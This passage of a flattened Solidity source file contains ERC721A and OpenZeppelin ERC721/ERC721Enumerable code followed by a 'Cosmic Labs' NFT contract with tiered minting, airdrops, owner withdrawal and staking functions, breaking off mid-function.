require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal virtual {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > currentIndex - 1) {
endIndex = currentIndex - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: cosmicLabs.sol
pragma solidity 0.8.7;
contract CosmicLabs is ERC721Enumerable, IERC721Receiver, Ownable {
using Strings for uint256;
using EnumerableSet for EnumerableSet.UintSet;
CosmicToken public cosmictoken;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
string public baseURI;
string public baseExtension = ".json";
uint public maxGenesisTx = 4;
uint public maxDuckTx = 20;
uint public maxSupply = 9000;
uint public genesisSupply = 1000;
uint256 public price = 0.05 ether;
bool public GensisSaleOpen = true;
bool public GenesisFreeMintOpen = false;
bool public DuckMintOpen = false;
modifier isSaleOpen
{
require(GensisSaleOpen == true);
_;
}
modifier isFreeMintOpen
{
require(GenesisFreeMintOpen == true);
_;
}
modifier isDuckMintOpen
{
require(DuckMintOpen == true);
_;
}
function switchFromFreeToDuckMint() public onlyOwner
{
GenesisFreeMintOpen = false;
DuckMintOpen = true;
}
event mint(address to, uint total);
event withdraw(uint total);
event giveawayNft(address to, uint tokenID);
mapping(address => uint256) public balanceOG;
mapping(address => uint256) public maxWalletGenesisTX;
mapping(address => uint256) public maxWalletDuckTX;
mapping(address => EnumerableSet.UintSet) private _deposits;
mapping(uint256 => uint256) public _deposit_blocks;
mapping(address => bool) public addressStaked;
//ID - Days staked;
mapping(uint256 => uint256) public IDvsDaysStaked;
mapping (address => uint256) public whitelistMintAmount;
address internal communityWallet = 0xea25545d846ecF4999C2875bC77dE5B5151Fa633;
constructor(string memory _initBaseURI) ERC721("Cosmic Labs", "CLABS")
{
setBaseURI(_initBaseURI);
}
function setPrice(uint256 newPrice) external onlyOwner {
price = newPrice;
}
function setYieldToken(address _yield) external onlyOwner {
cosmictoken = CosmicToken(_yield);
}
function totalToken() public view returns (uint256) {
return _tokenIdTracker.current();
}
modifier communityWalletOnly
{
require(msg.sender == communityWallet);
_;
}
function communityDuckMint(uint256 amountForAirdrops) public onlyOwner
{
for(uint256 i; i<amountForAirdrops; i++)
{
_tokenIdTracker.increment();
_safeMint(communityWallet, totalToken());
}
}
function GenesisSale(uint8 mintTotal) public payable isSaleOpen
{
uint256 totalMinted = maxWalletGenesisTX[msg.sender];
totalMinted = totalMinted + mintTotal;
require(mintTotal >= 1 && mintTotal <= maxGenesisTx, "Mint Amount Incorrect");
require(totalToken() < genesisSupply, "SOLD OUT!");
require(maxWalletGenesisTX[msg.sender] <= maxGenesisTx, "You've maxed your limit!");
require(msg.value >= price * mintTotal, "Minting a Genesis Costs 0.05 Ether Each!");
require(totalMinted <= maxGenesisTx, "You'll surpass your limit!");
for(uint8 i=0;i<mintTotal;i++)
{
whitelistMintAmount[msg.sender] += 1;
maxWalletGenesisTX[msg.sender] += 1;
_tokenIdTracker.increment();
_safeMint(msg.sender, totalToken());
cosmictoken.updateRewardOnMint(msg.sender, totalToken());
emit mint(msg.sender, totalToken());
}
if(totalToken() == genesisSupply)
{
GensisSaleOpen = false;
GenesisFreeMintOpen = true;
}
}
function GenesisFreeMint(uint8 mintTotal)public payable isFreeMintOpen
{
require(whitelistMintAmount[msg.sender] > 0, "You don't have any free mints!");
require(totalToken() < maxSupply, "SOLD OUT!");
require(mintTotal <= whitelistMintAmount[msg.sender], "You are passing your limit!");
for(uint8 i=0;i<mintTotal;i++)
{
whitelistMintAmount[msg.sender] -= 1;
_tokenIdTracker.increment();
_safeMint(msg.sender, totalToken());
cosmictoken.updateRewardOnMint(msg.sender, totalToken());
emit mint(msg.sender, totalToken());
}
}
function DuckSale(uint8 mintTotal)public payable isDuckMintOpen
{
uint256 totalMinted = maxWalletDuckTX[msg.sender];
totalMinted = totalMinted + mintTotal;
require(mintTotal >= 1 && mintTotal <= maxDuckTx, "Mint Amount Incorrect");
require(msg.value >= price * mintTotal, "Minting a Duck Costs 0.05 Ether Each!");
require(totalToken() < maxSupply, "SOLD OUT!");
require(maxWalletDuckTX[msg.sender] <= maxDuckTx, "You've maxed your limit!");
require(totalMinted <= maxDuckTx, "You'll surpass your limit!");
for(uint8 i=0;i<mintTotal;i++)
{
maxWalletDuckTX[msg.sender] += 1;
_tokenIdTracker.increment();
_safeMint(msg.sender, totalToken());
cosmictoken.updateRewardOnMint(msg.sender, totalToken());
emit mint(msg.sender, totalToken());
}
if(totalToken() == maxSupply)
{
DuckMintOpen = false;
}
}
function airdropNft(address airdropPatricipent, uint16 tokenID) public payable communityWalletOnly
{
_transfer(msg.sender, airdropPatricipent, tokenID);
emit giveawayNft(airdropPatricipent, tokenID);
}
function airdropMany(address[] memory airdropPatricipents) public payable communityWalletOnly
{
uint256[] memory tempWalletOfUser = this.walletOfOwner(msg.sender);
require(tempWalletOfUser.length >= airdropPatricipents.length, "You dont have enough tokens to airdrop all!");
for(uint256 i=0; i<airdropPatricipents.length; i++)
{
_transfer(msg.sender, airdropPatricipents[i], tempWalletOfUser[i]);
emit giveawayNft(airdropPatricipents[i], tempWalletOfUser[i]);
}
}
function withdrawContractEther(address payable recipient) external onlyOwner
{
emit withdraw(getBalance());
recipient.transfer(getBalance());
}
function getBalance() public view returns(uint)
{
return address(this).balance;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : "";
}
function getReward(uint256 CalculatedPayout) internal
{
cosmictoken.getReward(msg.sender, CalculatedPayout);
}
//Staking Functions
function depositStake(uint256[] calldata tokenIds) external {
require(isApprovedForAll(msg.sender, address(this)), "You are not Approved!");
for (uint256 i; i < tokenIds.length; i++) {
safeTransferFrom(
msg.sender,
address(this),
tokenIds[i],
''
);
_deposits[msg.sender].add(tokenIds[i]);
addressStaked[msg.sender] = true;
_deposit_blocks[tokenIds[i]] = block.timestamp;
IDvsDaysStaked[tokenIds[i]] = block.timestamp;
}
}
function withdrawStake(uint256[] calldata tokenIds) external {
require(isApprovedForAll(msg.sender, address(this)), "You are not Approved!");
for (uint256 i; i < tokenIds.length; i++) {
require(
_deposits[msg.sender].contains(tokenIds[i]),
'Token not deposited'
);
cosmictoken.getReward(msg.sender,totalRewardsToPay(tokenIds[i]));
_deposits[msg.sender].remove(tokenIds[i]);
_deposit_blocks[tokenIds[i]] = 0;
addressStaked[msg.sender] = false;
IDvsDaysStaked[tokenIds[i]] = block.timestamp;
this.safeTransferFrom(
address(this),
msg.sender,
